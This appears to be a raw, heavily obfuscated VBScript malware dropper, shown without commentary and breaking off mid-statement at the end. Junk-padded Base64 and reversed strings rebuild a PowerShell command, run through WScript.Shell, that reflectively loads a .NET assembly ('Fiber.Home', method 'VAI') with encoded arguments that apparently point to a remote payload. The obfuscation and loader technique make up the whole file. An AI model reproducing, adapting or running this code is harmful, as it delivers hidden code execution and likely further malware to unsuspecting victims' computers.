mllc" & CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbNSUUzYcYRzLGrFeKVgzpTOkjZKxzUMaoyacIakVgu & ktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUqEhWQYVZxXbidsZHoDhbZiJHyViRVqPjUWzOAufdSIiMmZz & CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbNSUUzYcYRzLGrFeKVgzpTOkjZKxzUMaoyacIakVgu & "Qem9tYmllcgem9tYmllcFsem9tYmllcUwB5em9tYmllcHMem9tYmllcdem9tYmllcBlem9tYmllcG0em9tYmllcLgBDem9tYmllcG8em9tYmllcbgB2em9tYmllcGUem9tYmllccgB0em9tYmllcF0em9tYmllcOgem9tYmllc6em9tYmllcEYem9tYmllccgBvem9tYmllcG0em9tYmllcQgBhem9tYmllcHMem9tYmllcZQem9tYmllc2em9tYmllcDQem9tYmllcUwB0em9tYmllcHIem9tYmllcaQBuem9tYmllcGcem9tYmllcKem9tYmllcem9tYmllckem9tYmllcGIem9tYmllcYQBzem9tYmllcGUem9tYmllcNgem9tYmllc0em9tYmllcEMem9tYmllcbwBtem9tYmllcG0em9tYmllcYQBuem9tYmllcGQem9tYmllcKQem9tYmllc7em9tYmllcCQem9tYmllcbem9tYmllcBvem9tYmllcGEem9tYmllcZem9tYmllcBlem9tYmllcGQem9tYmllcQQBzem9tYmllcHMem9tYmllcZQBtem9tYmllcGIem9tYmllcbem9tYmllcB5em9tYmllcCem9tYmllcem9tYmllc" & CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbNSUUzYcYRzLGrFeKVgzpTOkjZKxzUMaoyacIakVgu & ktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUqEhWQYVZxXbidsZHoDhbZiJHyViRVqPjUWzOAufdSIiMmZz & CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbNSUUzYcYRzLGrFeKVgzpTOkjZKxzUMaoyacIakVgu & "Qem9tYmllcgem9tYmllcFsem9tYmllcUwB5em9tYmllcHMem9tYmllcdem9tYmllcBlem9tYmllcG0em9tYmllcLgBSem9tYmllcGUem9tYmllcZgBsem9tYmllcGUem9tYmllcYwB0em9tYmllcGkem9tYmllcbwBuem9tYmllcC4em9tYmllcQQBzem9tYmllcHMem9tYmllcZQBtem9tYmllcGIem9tYmllcbem9tYmllcB5em9tYmllcF0em9tYmllcOgem9tYmllc6em9tYmllcEwem9tYmllcbwBhem9tYmllcGQem9tYmllcKem9tYmllcem9tYmllckem9tYmllcGMem9tYmllcbwBtem9tYmllcG0em9tYmllcYQBuem9tYmllcGQem9tYmllcQgB5em9tYmllcHQem9tYmllcZQBzem9tYmllcCkem9tYmllcOwem9tYmllckem9tYmllcHQem9tYmllceQBwem9tYmllcGUem9tYmllcIem9tYmllcem9tYmllc9em9tYmllcCem9tYmllcem9tYmllcJem9tYmllcBsem9tYmllcG8em9tYmllcYQBkem9tYmllcGUem9tYmllcZem9tYmllcBBem9tYmllcHMem9tYmllccwBlem9tYmllcG0em9tYmllcYgBsem9tYmllcHkem9tYmllcLgBHem9tYmllcGUem9tYmllcdem9tYmllcBUem9tYmllcHkem9tYmllccem9tYmllcBlem9tYmllcCgem9tYmllcJwBGem9tYmllcGkem9tYmllcYgBlem9tYmllcHIem9tYmllcLgBIem9tYmllcG8em9tYmllcbQBlem9tYmllcCcem9tYmllcKQem9tYmllc7em9tYmllcCQem9tYmllcbQBlem9tYmllcHQem9tYmllcaem9tYmllcBvem9tYmllcGQem9tYmllcIem9tYmllcem9tYmllc9em9tYmllcCem9tYmllcem9tYmllcJem9tYmllcB0em9tYmllcHkem9tYmllccem9tYmllcBlem9tYmllcC4em9tYmllcRwBlem9tYmllcHQem9tYmllcTQBlem9tYmllcHQem9tYmllcaem9tYmllcBvem9tYmllcGQem9tYmllcKem9tYmllcem9tYmllcnem9tYmllcFYem9tYmllcQQBJem9tYmllcCcem9tYmllcKQem9tYmllcuem9tYmllcEkem9tYmllcbgB2em9tYmllcG8em9tYmllcawBlem9tYmllcCgem9tYmllcJem9tYmllcBuem9tYmllcHUem9tYmllcbem9tYmllcBsem9tYmllcCwem9tYmllcIem9tYmllcBbem9tYmllcG8em9tYmllcYgBqem9tYmllcGUem9tYmllcYwB0em9tYmllcFsem9tYmllcXQBdem9tYmllcCem9tYmllcem9tYmllcKem9tYmllcem9tYmllcnem9tYmllcFoem9tYmllcRem9tYmllcBWem9tYmllcGsem9tYmllcWgBtem9tYmllcFkem9tYmllceQBNem9tYmllcFcem9tYmllcSQB4em9tYmllcE4em9tYmllcMgBWem9tYmllcGwem9tYmllcTem9tYmllcBUem9tYmllcEYem9tYmllcbQBOem9tYmllcEQem9tYmllcZwB0em9tYmllcE4em9tYmllcVwBNem9tYmllcDMem9tYmllcTgBDem9tYmllcDEem9tYmllcagB" & CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbNSUUzYcYRzLGrFeKVgzpTOkjZKxzUMaoyacIakVgu & ktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUqEhWQYVZxXbidsZHoDhbZiJHyViRVqPjUWzOAufdSIiMmZz & CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbNSUUzYcYRzLGrFeKVgzpTOkjZKxzUMaoyacIakVgu & "em9tYmllcFQem9tYmllcTQem9tYmllcwem9tYmllcEwem9tYmllcVwBRem9tYmllcDMem9tYmllcTQem9tYmllcyem9tYmllcE0em9tYmllceQBZem9tYmllcFQem9tYmllcWQB6em9tYmllcFem9tYmllcem9tYmllcVwem9tYmllc1em9tYmllcGwem9tYmllcYQem9tYmllcyem9tYmllcDkem9tYmllcMem9tYmllcBKem9tYmllcG0em9tYmllcRgBwem9tYmllcFoem9tYmllcRwBWem9tYmllcHQem9tYmllcUem9tYmllcBYem9tYmllcFIem9tYmllccwBZem9tYmllcFQem9tYmllcOQem9tYmllcwem9tYmllcGUem9tYmllcSem9tYmllcBRem9tYmllcHUem9tYmllcYwBtem9tYmllcFYem9tYmllcbQBjem9tYmllcDIem9tYmllcNQBoem9tYmllcGMem9tYmllcbgBRem9tYmllcHYem9tYmllcYgB5em9tYmllcDkem9tYmllcdem9tYmllcBiem9tYmllcDIem9tYmllcTQB1em9tYmllcGQem9tYmllcRwem9tYmllc5em9tYmllcHcem9tYmllcYwem9tYmllczem9tYmllcEIem9tYmllcdwBZem9tYmllcFMem9tYmllcNQBtem9tYmllcE8em9tYmllcVem9tYmllcBOem9tYmllcGoem9tYmllcTgBpem9tYmllcDEem9tYmllcbgBiem9tYmllcG0em9tYmllcbem9tYmllcByem9tYmllcFkem9tYmllcMgBGem9tYmllcG8em9tYmllcTem9tYmllcem9tYmllcyem9tYmllcEkem9tYmllcdgBNem9tYmllcEgem9tYmllcWQB2em9tYmllcGIem9tYmllcVwem9tYmllc5em9tYmllcGoem9tYmllcTem9tYmllcBuem9tYmllcE4em9tYmllccem9tYmllcBjem9tYmllcEcem9tYmllcRgBsem9tYmllcGIem9tYmllcRwBkem9tYmllcHYem9tYmllcYgem9tYmllcyem9tYmllcGMem9tYmllcdQBaem9tYmllcFcem9tYmllcZem9tYmllcBoem9tYmllcGMem9tYmllcbQem9tYmllc5em9tYmllcDem9tYmllcem9tYmllcYwem9tYmllcyem9tYmllcFYem9tYmllcegBZem9tYmllcFcem9tYmllcSgBsem9tYmllcGMem9tYmllcbQBsem9tYmllcG0em9tYmllcTem9tYmllcB5em9tYmllcDgem9tYmllcNgBjem9tYmllcDMem9tYmllcQgem9tYmllcwem9tYmllcGQem9tYmllcRwBnem9tYmllcD0em9tYmllcJwem9tYmllcgem9tYmllcCwem9tYmllcIem9tYmllcem9tYmllcnem9tYmllcGQem9tYmllcZgBkem9tYmllcGYem9tYmllcZem9tYmllcem9tYmllcnem9tYmllcCem9tYmllcem9tYmllcLem9tYmllcem9tYmllcgem9tYmllcCcem9tYmllcZem9tYmllcBmem9tYmllcGQem9tYmllcZgem9tYmllcnem9tYmllcCem9tYmllcem9tYmllcLem9tYmllcem9tYmllcgem9tYmllcCcem9tYmllcZem9tYmllcBmem9tYmllcGQem9tYmllcZgem9tYmllcnem9tYmllcCem9tYmllcem9tYmllcLem9tYmllcem9tYmllcgem9tYmllcCcem9tYmllcZem9tYmllcBhem9tYmllcGQem9tYmllccwBhem9tYmllcCcem9tYmllcIem9tYmllcem9tYmllcsem9tYmllcCem9tYmllcem9tYmllcJwBkem9tYmllcGUem9tYmllcJwem9tYmllcgem9tYmllcCwem9tYmllcIem9tYmllcem9tYmllcnem9tYmllcGMem9tYmllcdQem9tYmllcnem9tYmllcCkem9tYmllcKQem9tYmllc="
dLhruYXkSUsWBfoxTyNSHoQYYJqvJYqlGkAOIiO:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbN:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMb = "bmnVUwD":uyXepXfituwktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUq:qSQCGrePhAfCReMhvmGlwtLvcWqUCiAyqsZyYOpOIXbGruLZvpKmQRrqRlZiOocSlSZyyURrGTlriyLKUecKSRGfbDLCeQx:
    dLhruYXkSUsWBfoxTyNSHoQYYJqvJYqlGkAOIiO:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbN:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMb = "bmnVUwD":uyXepXfituwktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUq:qSQCGrePhAfCReMhvmGlwtLvcWqUCiAyqsZyYOpOIXbGruLZvpKmQRrqRlZiOocSlSZyyURrGTlriyLKUecKSRGfbDLCeQx:
    dLhruYXkSUsWBfoxTyNSHoQYYJqvJYqlGkAOIiO:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbN:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMb = "bmnVUwD":uyXepXfituwktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUq:qSQCGrePhAfCReMhvmGlwtLvcWqUCiAyqsZyYOpOIXbGruLZvpKmQRrqRlZiOocSlSZyyURrGTlriyLKUecKSRGfbDLCeQx:
    dLhruYXkSUsWBfoxTyNSHoQYYJqvJYqlGkAOIiO:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbN:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMb = "bmnVUwD":uyXepXfituwktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUq:qSQCGrePhAfCReMhvmGlwtLvcWqUCiAyqsZyYOpOIXbGruLZvpKmQRrqRlZiOocSlSZyyURrGTlriyLKUecKSRGfbDLCeQx:
    dLhruYXkSUsWBfoxTyNSHoQYYJqvJYqlGkAOIiO:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbN:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMb = "bmnVUwD":uyXepXfituwktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUq:qSQCGrePhAfCReMhvmGlwtLvcWqUCiAyqsZyYOpOIXbGruLZvpKmQRrqRlZiOocSlSZyyURrGTlriyLKUecKSRGfbDLCeQx:
    dLhruYXkSUsWBfoxTyNSHoQYYJqvJYqlGkAOIiO:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbN:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMb = "bmnVUwD":uyXepXfituwktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUq:qSQCGrePhAfCReMhvmGlwtLvcWqUCiAyqsZyYOpOIXbGruLZvpKmQRrqRlZiOocSlSZyyURrGTlriyLKUecKSRGfbDLCeQx:
ceihQqALcGOIRltJWcbOAcczSqDgPWBanKbSRhvIyWcOXwSUZYlOlkclnTvWYtPYJsIsCAOyBOKcIDbKqydbbQiROKGvDcbByIJqSQCGrePhAfCReMhvmGlwtLvcWqUCiAyqsZyYOpOIXbGruLZvpKmQRrqRlZiOocSlSZyyURrGTlriyLKUecKSRGfbDLCeQxKqwTaD = Replace( ceihQqALcGOIRltJWcbOAcczSqDgPWBanKbSRhvIyWcOXwSUZYlOlkclnTvWYtPYJsIsCAOyBOKcIDbKqydbbQiROKGvDcbByIJqSQCGrePhAfCReMhvmGlwtLvcWqUCiAyqsZyYOpOIXbGruLZvpKmQRrqRlZiOocSlSZyyURrGTlriyLKUecKSRGfbDLCeQxKqwTaD, CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbNSUUzYcYRzLGrFeKVgzpTOkjZKxzUMaoyacIakVgu + ktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUqEhWQYVZxXbidsZHoDhbZiJHyViRVqPjUWzOAufdSIiMmZz + CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbNSUUzYcYRzLGrFeKVgzpTOkjZKxzUMaoyacIakVgu , "P")
dLhruYXkSUsWBfoxTyNSHoQYYJqvJYqlGkAOIiOmoxFRwyHqCYBhqjOmvFyAYiDEWbTOqSWhMJsnIblSSgqXTCjeGPzSjWkKHQioIFVqsgPhGHkYapbBpOaCkDuWDRJvBhAqPrHMeeXXuUpGpWctodLfqwvkpKwxlPLtTQCmYgeUvXmwusCJccYUyYlLHeCU
    okaAqqhAAfzQRMxbgdfvFWvwoBPoUJNsobxaYsnGflndHaltNySReifxfVjMrhVTEGeEgolBVOyBKIaxdNnNhimjSiRgFgyXvnYYvsVAuGEFYSbzAviHvrBFteypKJLMQaPGvlTIhaIDZKSdjKEflAFRUeeZMgUZOzToSYddsKRmJyRtMSGMbvdIomriiazRtkFnRbtdQYNSrchx:
    Set ESyJFHtcTuIutPkyuVQpwGLbFvLzIXmwguYvYDQgGkwihbveHvvcwfRqtjiREeQFyWwImwPIYWQUCUkxpKztLmHwNlIJgvNGzLQmRP = WScript.CreateObject("WScript.Shell")
    tomqOXAFzrtBfQNTWGTuDgkLdYgzpoJtKGfuDsVESyJFHtcTuIutPkyuVQpwGLbFvLzIXmwguYvYDQgGkwihbveHvvcwfRqtjiREeQFyWwImwPIYWQUCUkxpKztLmHwNlIJgvNGzLQmRPuWNmhjWkXYLnDNfNpXwZwmVMhIMMViCmFVUKhHgGZowKY = "'$Codigo = ''" & ceihQqALcGOIRltJWcbOAcczSqDgPWBanKbSRhvIyWcOXwSUZYlOlkclnTvWYtPYJsIsCAOyBOKcIDbKqydbbQiROKGvDcbByIJqSQCGrePhAfCReMhvmGlwtLvcWqUCiAyqsZyYOpOIXbGruLZvpKmQRrqRlZiOocSlSZyyURrGTlriyLKUecKSRGfbDLCeQxKqwTaD  & "''"
    DneWbdmNtPNOvMzZbqplCLOepoiqjwxAyuoyTaTIHzOHCnsdehYAzUvFJkhkFqdLLEBFxBQjnPIODwUVzidzNcXVfikRQcKcfEfsnmbIyDwPcAWslAclDdygPHSWMtSquiiusvBpTolYNiGTdCPzLMHzamyjWFFSxYqQTFAaaltrZhjwQdUExGUHaIxTNseVPMTyjuNJIxEPAziWErg
    CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbNSUUzYcYRzLGrFeKVgzpTOkjZKxzUMaoyacIakVguyXepXfituwktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUqEhWQYVZxXbidsZHoDhbZiJHyViRVqPjUWzOAufdSIiMmZz:dLhruYXkSUsWBfoxTyNSHoQYYJqvJYqlGkAOIiO:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbN:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMb = "bmnVUwD":uyXepXfituwktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUq:qSQCGrePhAfCReMhvmGlwtLvcWqUCiAyqsZyYOpOIXbGruLZvpKmQRrqRlZiOocSlSZyyURrGTlriyLKUecKSRGfbDLCeQx:
    dLhruYXkSUsWBfoxTyNSHoQYYJqvJYqlGkAOIiO:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbN:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMb = "bmnVUwD":uyXepXfituwktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUq:qSQCGrePhAfCReMhvmGlwtLvcWqUCiAyqsZyYOpOIXbGruLZvpKmQRrqRlZiOocSlSZyyURrGTlriyLKUecKSRGfbDLCeQx:
    dLhruYXkSUsWBfoxTyNSHoQYYJqvJYqlGkAOIiO:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbN:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMb = "bmnVUwD":uyXepXfituwktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUq:qSQCGrePhAfCReMhvmGlwtLvcWqUCiAyqsZyYOpOIXbGruLZvpKmQRrqRlZiOocSlSZyyURrGTlriyLKUecKSRGfbDLCeQx:
    dLhruYXkSUsWBfoxTyNSHoQYYJqvJYqlGkAOIiO:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbN:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMb = "bmnVUwD":uyXepXfituwktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUq:qSQCGrePhAfCReMhvmGlwtLvcWqUCiAyqsZyYOpOIXbGruLZvpKmQRrqRlZiOocSlSZyyURrGTlriyLKUecKSRGfbDLCeQx:
    dLhruYXkSUsWBfoxTyNSHoQYYJqvJYqlGkAOIiO:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbN:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMb = "bmnVUwD":uyXepXfituwktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUq:qSQCGrePhAfCReMhvmGlwtLvcWqUCiAyqsZyYOpOIXbGruLZvpKmQRrqRlZiOocSlSZyyURrGTlriyLKUecKSRGfbDLCeQx:
    dLhruYXkSUsWBfoxTyNSHoQYYJqvJYqlGkAOIiO:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbN:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMb = "bmnVUwD":uyXepXfituwktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUq:qSQCGrePhAfCReMhvmGlwtLvcWqUCiAyqsZyYOpOIXbGruLZvpKmQRrqRlZiOocSlSZyyURrGTlriyLKUecKSRGfbDLCeQx:
tomqOXAFzrtBfQNTWGTuDgkLdYgzpoJtKGfuDsVESyJFHtcTuIutPkyuVQpwGLbFvLzIXmwguYvYDQgGkwihbveHvvcwfRqtjiREeQFyWwImwPIYWQUCUkxpKztLmHwNlIJgvNGzLQmRPuWNmhjWkXYLnDNfNpXwZwmVMhIMMViCmFVUKhHgGZowKY = tomqOXAFzrtBfQNTWGTuDgkLdYgzpoJtKGfuDsVESyJFHtcTuIutPkyuVQpwGLbFvLzIXmwguYvYDQgGkwihbveHvvcwfRqtjiREeQFyWwImwPIYWQUCUkxpKztLmHwNlIJgvNGzLQmRPuWNmhjWkXYLnDNfNpXwZwmVMhIMMViCmFVUKhHgGZowKY & StrReverse("xujWO$;")
tomqOXAFzrtBfQNTWGTuDgkLdYgzpoJtKGfuDsVESyJFHtcTuIutPkyuVQpwGLbFvLzIXmwguYvYDQgGkwihbveHvvcwfRqtjiREeQFyWwImwPIYWQUCUkxpKztLmHwNlIJgvNGzLQmRPuWNmhjWkXYLnDNfNpXwZwmVMhIMMViCmFVUKhHgGZowKY = tomqOXAFzrtBfQNTWGTuDgkLdYgzpoJtKGfuDsVESyJFHtcTuIutPkyuVQpwGLbFvLzIXmwguYvYDQgGkwihbveHvvcwfRqtjiREeQFyWwImwPIYWQUCUkxpKztLmHwNlIJgvNGzLQmRPuWNmhjWkXYLnDNfNpXwZwmVMhIMMViCmFVUKhHgGZowKY & StrReverse("ys[ = d")
tomqOXAFzrtBfQNTWGTuDgkLdYgzpoJtKGfuDsVESyJFHtcTuIutPkyuVQpwGLbFvLzIXmwguYvYDQgGkwihbveHvvcwfRqtjiREeQFyWwImwPIYWQUCUkxpKztLmHwNlIJgvNGzLQmRPuWNmhjWkXYLnDNfNpXwZwmVMhIMMViCmFVUKhHgGZowKY = tomqOXAFzrtBfQNTWGTuDgkLdYgzpoJtKGfuDsVESyJFHtcTuIutPkyuVQpwGLbFvLzIXmwguYvYDQgGkwihbveHvvcwfRqtjiREeQFyWwImwPIYWQUCUkxpKztLmHwNlIJgvNGzLQmRPuWNmhjWkXYLnDNfNpXwZwmVMhIMMViCmFVUKhHgGZowKY & StrReverse("eT.mets")
tomqOXAFzrtBfQNTWGTuDgkLdYgzpoJtKGfuDsVESyJFHtcTuIutPkyuVQpwGLbFvLzIXmwguYvYDQgGkwihbveHvvcwfRqtjiREeQFyWwImwPIYWQUCUkxpKztLmHwNlIJgvNGzLQmRPuWNmhjWkXYLnDNfNpXwZwmVMhIMMViCmFVUKhHgGZowKY = tomqOXAFzrtBfQNTWGTuDgkLdYgzpoJtKGfuDsVESyJFHtcTuIutPkyuVQpwGLbFvLzIXmwguYvYDQgGkwihbveHvvcwfRqtjiREeQFyWwImwPIYWQUCUkxpKztLmHwNlIJgvNGzLQmRPuWNmhjWkXYLnDNfNpXwZwmVMhIMMViCmFVUKhHgGZowKY & StrReverse("ocne.tx")
tomqOXAFzrtBfQNTWGTuDgkLdYgzpoJtKGfuDsVESyJFHtcTuIutPkyuVQpwGLbFvLzIXmwguYvYDQgGkwihbveHvvcwfRqtjiREeQFyWwImwPIYWQUCUkxpKztLmHwNlIJgvNGzLQmRPuWNmhjWkXYLnDNfNpXwZwmVMhIMMViCmFVUKhHgGZowKY = tomqOXAFzrtBfQNTWGTuDgkLdYgzpoJtKGfuDsVESyJFHtcTuIutPkyuVQpwGLbFvLzIXmwguYvYDQgGkwihbveHvvcwfRqtjiREeQFyWwImwPIYWQUCUkxpKztLmHwNlIJgvNGzLQmRPuWNmhjWkXYLnDNfNpXwZwmVMhIMMViCmFVUKhHgGZowKY & StrReverse("::]gnid")
tomqOXAFzrtBfQNTWGTuDgkLdYgzpoJtKGfuDsVESyJFHtcTuIutPkyuVQpwGLbFvLzIXmwguYvYDQgGkwihbveHvvcwfRqtjiREeQFyWwImwPIYWQUCUkxpKztLmHwNlIJgvNGzLQmRPuWNmhjWkXYLnDNfNpXwZwmVMhIMMViCmFVUKhHgGZowKY = tomqOXAFzrtBfQNTWGTuDgkLdYgzpoJtKGfuDsVESyJFHtcTuIutPkyuVQpwGLbFvLzIXmwguYvYDQgGkwihbveHvvcwfRqtjiREeQFyWwImwPIYWQUCUkxpKztLmHwNlIJgvNGzLQmRPuWNmhjWkXYLnDNfNpXwZwmVMhIMMViCmFVUKhHgGZowKY & StrReverse("edocinU")
tomqOXAFzrtBfQNTWGTuDgkLdYgzpoJtKGfuDsVESyJFHtcTuIutPkyuVQpwGLbFvLzIXmwguYvYDQgGkwihbveHvvcwfRqtjiREeQFyWwImwPIYWQUCUkxpKztLmHwNlIJgvNGzLQmRPuWNmhjWkXYLnDNfNpXwZwmVMhIMMViCmFVUKhHgGZowKY = tomqOXAFzrtBfQNTWGTuDgkLdYgzpoJtKGfuDsVESyJFHtcTuIutPkyuVQpwGLbFvLzIXmwguYvYDQgGkwihbveHvvcwfRqtjiREeQFyWwImwPIYWQUCUkxpKztLmHwNlIJgvNGzLQmRPuWNmhjWkXYLnDNfNpXwZwmVMhIMMViCmFVUKhHgGZowKY & StrReverse("rtSteG.")
tomqOXAFzrtBfQNTWGTuDgkLdYgzpoJtKGfuDsVESyJFHtcTuIutPkyuVQpwGLbFvLzIXmwguYvYDQgGkwihbveHvvcwfRqtjiREeQFyWwImwPIYWQUCUkxpKztLmHwNlIJgvNGzLQmRPuWNmhjWkXYLnDNfNpXwZwmVMhIMMViCmFVUKhHgGZowKY = tomqOXAFzrtBfQNTWGTuDgkLdYgzpoJtKGfuDsVESyJFHtcTuIutPkyuVQpwGLbFvLzIXmwguYvYDQgGkwihbveHvvcwfRqtjiREeQFyWwImwPIYWQUCUkxpKztLmHwNlIJgvNGzLQmRPuWNmhjWkXYLnDNfNpXwZwmVMhIMMViCmFVUKhHgGZowKY & StrReverse("gni")
dLhruYXkSUsWBfoxTyNSHoQYYJqvJYqlGkAOIiO:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbN:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMb = "bmnVUwD":uyXepXfituwktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUq:qSQCGrePhAfCReMhvmGlwtLvcWqUCiAyqsZyYOpOIXbGruLZvpKmQRrqRlZiOocSlSZyyURrGTlriyLKUecKSRGfbDLCeQx:
    dLhruYXkSUsWBfoxTyNSHoQYYJqvJYqlGkAOIiO:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbN:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMb = "bmnVUwD":uyXepXfituwktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUq:qSQCGrePhAfCReMhvmGlwtLvcWqUCiAyqsZyYOpOIXbGruLZvpKmQRrqRlZiOocSlSZyyURrGTlriyLKUecKSRGfbDLCeQx:
    dLhruYXkSUsWBfoxTyNSHoQYYJqvJYqlGkAOIiO:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbN:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMb = "bmnVUwD":uyXepXfituwktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUq:qSQCGrePhAfCReMhvmGlwtLvcWqUCiAyqsZyYOpOIXbGruLZvpKmQRrqRlZiOocSlSZyyURrGTlriyLKUecKSRGfbDLCeQx:
    dLhruYXkSUsWBfoxTyNSHoQYYJqvJYqlGkAOIiO:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbN:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMb = "bmnVUwD":uyXepXfituwktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUq:qSQCGrePhAfCReMhvmGlwtLvcWqUCiAyqsZyYOpOIXbGruLZvpKmQRrqRlZiOocSlSZyyURrGTlriyLKUecKSRGfbDLCeQx:
    dLhruYXkSUsWBfoxTyNSHoQYYJqvJYqlGkAOIiO:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbN:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMb = "bmnVUwD":uyXepXfituwktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUq:qSQCGrePhAfCReMhvmGlwtLvcWqUCiAyqsZyYOpOIXbGruLZvpKmQRrqRlZiOocSlSZyyURrGTlriyLKUecKSRGfbDLCeQx:
    dLhruYXkSUsWBfoxTyNSHoQYYJqvJYqlGkAOIiO:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbN:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMb = "bmnVUwD":uyXepXfituwktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUq:qSQCGrePhAfCReMhvmGlwtLvcWqUCiAyqsZyYOpOIXbGruLZvpKmQRrqRlZiOocSlSZyyURrGTlriyLKUecKSRGfbDLCeQx:
tomqOXAFzrtBfQNTWGTuDgkLdYgzpoJtKGfuDsVESyJFHtcTuIutPkyuVQpwGLbFvLzIXmwguYvYDQgGkwihbveHvvcwfRqtjiREeQFyWwImwPIYWQUCUkxpKztLmHwNlIJgvNGzLQmRPuWNmhjWkXYLnDNfNpXwZwmVMhIMMViCmFVUKhHgGZowKY = tomqOXAFzrtBfQNTWGTuDgkLdYgzpoJtKGfuDsVESyJFHtcTuIutPkyuVQpwGLbFvLzIXmwguYvYDQgGkwihbveHvvcwfRqtjiREeQFyWwImwPIYWQUCUkxpKztLmHwNlIJgvNGzLQmRPuWNmhjWkXYLnDNfNpXwZwmVMhIMMViCmFVUKhHgGZowKY & 